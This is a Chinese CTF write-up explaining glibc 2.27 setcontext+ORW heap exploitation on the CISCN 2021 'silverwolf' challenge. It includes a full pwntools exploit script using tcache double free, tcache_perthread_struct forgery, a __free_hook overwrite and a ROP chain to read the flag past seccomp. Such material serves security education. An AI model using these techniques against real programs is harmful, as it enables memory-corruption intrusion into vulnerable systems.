SetContent ORW libc-2.27

参考资料：https://www.cnblogs.com/pwnfeifei/p/15819825.html

setcontext+orw 大致可以把2.27，2.29做为两个分界点。我们先来讨论 2.27 及以下的 setcontext + orw 的写法。

在学习过 SROP 之后我们知道 pwntools 自带了一款可以控制寄存器值的工具

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rsp = xxx
frame.rdi = xxx
frame.rsi = xxx
frame.rdx = xxx
frame.rip = xxx

frame 的本质就是依靠 SetContext 来实现的，我们可以从 IDA 中查看他的具体信息

1775706611329-9350e679-66cd-42db-ab55-806788b602c7.png

我们可以清楚地看到 SetContent 是通过 rdi 寄存器附近的地址来设置各个寄存器的值。在 glibc-2.27 当中，我们通常从 SetContent + 53 开始使用，也就是图中 0x52180 + 53 = 0x521B5 的位置。

[CISCN 2021 初赛]silverwolf(libc-2.27 SetContent+ORW)

1775653886874-c85a3a8f-aa40-4710-9c6a-02647ced8c55.png

程序分析：

这道题可以和 lonelywolf 放在一起去分析，两者程序不同的地方在于 silverwolf 在初始化的时候开启了沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_C70()
{
  __int64 v0; // rbx

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v0 = seccomp_init(0);
  seccomp_rule_add(v0, 2147418112, 0, 0);
  seccomp_rule_add(v0, 2147418112, 2, 0);
  seccomp_rule_add(v0, 2147418112, 1, 0);
  return seccomp_load(v0);
}
1775654727070-99183f93-68ee-4250-9ea9-7b4482c0177f.png

整理一下思路：

这道题比上一题多了沙箱机制的保护，也就是说我们需要去打一个 ORW。既然是堆上的 ORW 就需要去泄露 libc_base 和 heap_base。泄露 heap_base 是为了将栈迁移到堆上，并在堆上构造 ROP 链；libc_base 是为了寻找相应的 ROPgadgets。

EXP 思路：

封装函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def add(size):
    io.sendlineafter(': ', '1')
    io.sendlineafter(': ', str(0))
    io.sendlineafter(': ', str(size))

def edit(content):
    io.sendlineafter(': ', '2')
    io.sendlineafter(': ', str(0))
    io.sendlineafter(': ', content) 

def show():
    io.sendlineafter(': ', '3')
    io.sendlineafter(': ', str(0))

def free():
    io.sendlineafter(': ', '4')
    io.sendlineafter(': ', str(0))

gdb.attach(io)
1775726489021-2b7dc61e-1686-4558-ac82-ef7a96c37404.png

在我们封装完函数看一下堆情况，发现部分 Tcachebins 已经被填满了

泄露 heap 基地址

1
2
3
for i in range(7):
    add(0x78)
    edit('a')
1775726914201-800fb1cc-9ccb-45fc-8aeb-afe1e002a9bd.png 
1
2
3
4
for i in range(2):
    edit('\x00'*0x10)
    free()
gdb.attach(p)
1775727018540-fea914d7-dbe9-4518-b73d-a8868ed40a47.png

对 index0 的堆进行 Double Free，同时清空其 fd 和 bk 指针(可以不要)，让他指向自己，防止影响程序运行。

1
2
3
4
show()
io.recvuntil('Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))

通过 double free 泄露当前堆地址。

在 Linux 中，系统分配内存是以 页 (Page) 为单位的，一个标准页的大小通常是 4KB，即十六进制的 0x1000

堆内存（Heap）在初始化时，操作系统会分配一大块连续的内存空间。这块空间的起始地址一定是按页对齐的。也就是说，堆的真正开头（Heap Base）地址的最后三位十六进制数一定是 000。

  • 泄露的地址：0x0000555f50014fa0 （这是堆中的某个具体位置）
  • 堆的基地址：0x0000555f50014000 （这是整个堆的起点）
1775728769754-54503425-a032-4377-a8af-e21f6d670efe.png

泄露 libc 基地址

1
2
3
4
edit(p64(heap_base + 0x10))
gdb.attach(io)
add(0x78)
add(0x78)
  • edit(p64(heap_base+0x10)): 修改 index 0（当前位于 tcache 头部）的 fd 指针为 heap_base+0x10。这个地址是 tcache_perthread_struct 结构体在堆上的位置，它掌管着整个 tcache
1775729011110-485e10df-3bcc-4f98-85ca-ccba7651c8dc.png
  • add(0x78); add(0x78): 第一次分配拿到原来的 chunk，第二次分配就将 tcache_perthread_struct 当作正常的 chunk 分配出来了，此时 index 0 指向了 tcache 控制块。
1
2
3
4
5
6
edit('\x00'*0x23 + '\x07')
free()
show()
io.recvuntil('Content: ')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
  • edit(‘\x00’*0x23 + ‘\x07’): 篡改 tcache 控制块。将偏移 0x23 的位置改为 \x07。在 tcache_perthread_struct 中，这部分记录了各个大小的 tcache bin 的 chunk 数量。改为 7 意味着欺骗 glibc，让它以为特定大小的 tcache 已经满了。事实上，这个数改大一点也没有关系，比如 \x0ff。
  • <–改成 0xff 其实我自己也不确定可不可以，lonelywolf 是可以的，本质就是欺骗 Tcachebin 数量–>
  • free(); show(): 再次释放当前 chunk，因为 tcache 被伪造为已满，所以它会被放入 Unsorted Bin 中。放入 Unsorted Bin 的 chunk，其 fd 会被修改为 main_arena + 96，之后通过 show() 泄露该地址。

准备 ROP gadgets 地址和函数地址

1
2
3
4
5
6
7
8
9
10
11
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x02155f 
pop_rax = libc_base + 0x0439c8 
pop_rsi = libc_base + 0x23e6a  
pop_rdx = libc_base + 0x001b96 
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall=libc_base+next(libc.search(asm("syscall\nret")))
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa
  • 由于启用了 seccomp 限制了 system(“/bin/sh”)，必须使用 ORW (Open, Read, Write) 手段读文件。
  • 这里计算了大量 ROP 需要用到的汇编代码片段（Gadgets）的真实内存地址。
  • setcontext = … + 53: 这是 glibc 2.27 经典技巧。setcontext 函数内部包含一段可以直接根据寄存器（由 rdi 指向的内存）恢复所有程序上下文的汇编。加上偏移 53 可以避开开头的 sigprocmask 调用，直接执行 mov rsp, [rdi+0xa0] 等指令，实现栈迁移。

有一说一，gadgets 还是挺不好找的，syscall 找不到对应的，在网上看到了另一种寻找偏移方法

1
ROPgadget --binary /home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so |  grep "rax"
1775729808027-810d7383-7474-4df3-9c41-ce35fcec138a.png

篡改 Tcache Entries 数组实现多次任意地址分配

1
2
3
4
5
6
7
8
9
payload = b'\x02'*0x40
payload += p64(free_hook)          # 对应 0x20 大小的 bin
payload += p64(0)
payload += p64(heap_base + 0x1000) # 对应 0x40 大小的 bin (放 flag 字符串)
payload += p64(heap_base + 0x2000) # 对应 0x50 大小的 bin (stack)
payload += p64(heap_base + 0x20A0) # 对应 0x60 大小的 bin (stack)
payload += p64(heap_base + 0x3000) # 对应 0x70 大小的 bin (orw1)
payload += p64(heap_base + 0x3060) # 对应 0x80 大小的 bin (orw2)
edit(payload)
  • 此时 index 0 依然指向 tcache_perthread_struct。
  • b’\x02’*0x40: 把所有大小的 tcache bin 的计数器都设置为 2。
  • 接下来的内容覆盖了 tcache_perthread_struct 中的 entries 数组，即不同大小的 free chunk 的链表头指针
  • 通过这样构造，后续申请特定大小的内存时，会直接返回我们伪造的任意地址。例如，申请大小为 0x20 的 chunk 时，malloc 会直接把 __free_hook 的地址交给我们。

部署 ORW 链与触发 setcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# 构造 ORW ROP 链
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)               # sys_open('./flag', 0)

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx) + p64(0x20)
orw += p64(read)                  # read(3, heap_base + 0x3000, 0x20)

orw += p64(pop_rdi) + p64(1)
orw += p64(write)                 # write(1, heap_base + 0x3000, 0x20)

# 利用前面的伪造，往特定地址写数据
add(0x18)
edit(p64(setcontext))             # 申请 0x20 拿到 __free_hook，写入 setcontext
"""
这里是劫持__free_hook, 当下一次free的时候就不会释放内存，而是直接跳转到setcontext+53当中
"""

add(0x38)
edit('./flag')                    # 申请 0x40 拿到 heap + 0x1000，写入 "./flag" 字符串

add(0x68)
edit(orw[:0x60])                  # 申请 0x70 拿到 heap + 0x3000，写入 ORW 链前半段

add(0x78)
edit(orw[0x60:])                  # 申请 0x80 拿到 heap + 0x3060，写入 ORW 链后半段
 
add(0x58)                         # 申请 0x60 拿到 heap + 0x20A0 --> [rdi+0xA0]
edit(p64(heap_base + 0x3000) + p64(ret))        # 设置 setcontext 需要的 rsp 和 rcx 寄存器值
#    [heap + 0x20A0]rsp        [heap + 0x20A8]rcx

add(0x48)                         # 申请 0x50 拿到 heap + 0x2000 --> rdi
free()
"""
当 free() 被调用时发生的事情：
1. 因为 __free_hook 被改成了 setcontext+53，程序跳入该汇编片段。
2. 此时 rdi = heap_base + 0x2000
3. 执行 mov rsp, [rdi+0xA0] → rsp = [heap_base + 0x20A0] → rsp 变成了 heap_base + 0x3000。
4. 执行 mov rcx, [rdi+0xA8] → rcx = [heap_base + 0x20A8] → rcx 变成了 ret 指令地址。
5. 执行 push rcx; ret→ 程序跳转到 ret。而 ret 会直接从当前的 rsp 弹出一个地址执行。
6. 此时 rsp 就在 heap_base + 0x3000，栈成功迁移到了堆上，ROP 链正式开始执行！
"""

io.interactive()
1775706611329-9350e679-66cd-42db-ab55-806788b602c7.png
  • orw = …: 用汇编指令构造了相当于 open(“./flag”, 0) -> read(fd, buf, 0x20) -> write(1, buf, 0x20) 的 ROP 执行流。
  • add 与 edit 配合: 这几步将 ROP 链、目标文件路径（./flag）、以及触发环境精确放置到了前面规划好的堆地址中，并将 __free_hook 劫持为了 setcontext。
  • free(): 触发点！调用 free(chunk) 时，因为 __free_hook 被覆盖，实际上执行的是 setcontext(chunk_addr)。此时 rdi 指向正在释放的 chunk，setcontext 会将程序栈指针 (rsp) 劫持到我们放置在 heap_base + 0x3000 的 ROP 链处，并开始依次执行 Open、Read、Write 读取并打印出 flag。
  • io.interactive(): 交互模式，将控制权交还给用户，准备在屏幕上接收打印出来的 flag。

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python

from pwn import *

elf = ELF('./silverwolf')
# io = remote('node4.anna.nssctf.cn',20065)
io = process( "./silverwolf")
context.log_level = "debug"
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
# libc = ELF('libc-2.27.so')
# context.terminal=["tmux","splitw","-h"]


def add(size):
    io.sendlineafter(': ', '1')
    io.sendlineafter(': ', str(0))
    io.sendlineafter(': ', str(size))

def edit(content):
    io.sendlineafter(': ', '2')
    io.sendlineafter(': ', str(0))
    io.sendlineafter(': ', content) 

def show():
    io.sendlineafter(': ', '3')
    io.sendlineafter(': ', str(0))

def free():
    io.sendlineafter(': ', '4')
    io.sendlineafter(': ', str(0))

# gdb.attach(io)

for i in range(7):
    add(0x78)
    edit('a')

# gdb.attach(io)
# pause()

for i in range(2):
    # edit('\x00'*0x10)
    free()

# gdb.attach(io)
# pause()

show()
io.recvuntil('Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
log.success('heap_base -> {}'.format(hex(heap_base)))


edit(p64(heap_base+0x10))
# gdb.attach(io)
# pause()
add(0x78)
add(0x78)
edit('\x00'*0x23 + '\x07')
free()
show()
io.recvuntil('Content: ')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
# pause()
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x02155f # 0x215bf
pop_rax = libc_base + 0x0439c8 # 0x43ae8
pop_rsi = libc_base + 0x23e6a  # 0x23eea
pop_rdx = libc_base + 0x001b96 # 0x1b96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall=libc_base+next(libc.search(asm("syscall\nret")))
# syscall = libc_base + 0x116758   # 0xE5965
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa
# gdb.attach(io)

#add(0,0x240)
payload = b'\x02'*0x40
payload += p64(free_hook)#0x20
payload += p64(0)
payload += p64(heap_base + 0x1000)#flag #0x30
payload += p64(heap_base + 0x2000)#stack #0x40
payload += p64(heap_base + 0x20A0)#stack 0x60
payload += p64(heap_base + 0x3000)#orw1 #0x50
payload += p64(heap_base + 0x3060)#orw2 #0x60
# pasue()
edit(payload)
#gdb.attach(io)
# pause()
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx) + p64(0x20)
orw += p64(read)
orw += p64(pop_rdi) + p64(1)
orw += p64(write)

add(0x18)
edit(p64(setcontext))
add(0x38)
edit('./flag')

add(0x68)
edit(orw[:0x60])
add(0x78)
edit(orw[0x60:])

add(0x58)
edit(p64(heap_base + 0x3000)+p64(ret))
add(0x48)
# gdb.attach(io)
# pause()
free()
#gdb.attach(io)
io.interactive()
1775732899284-8a337bef-39af-4803-80b4-ac04243d87b3.png

更新: 2026-04-20 15:58:44
原文: https://www.yuque.com/idcm/wnemg9/wimy9lqmwh06ybs9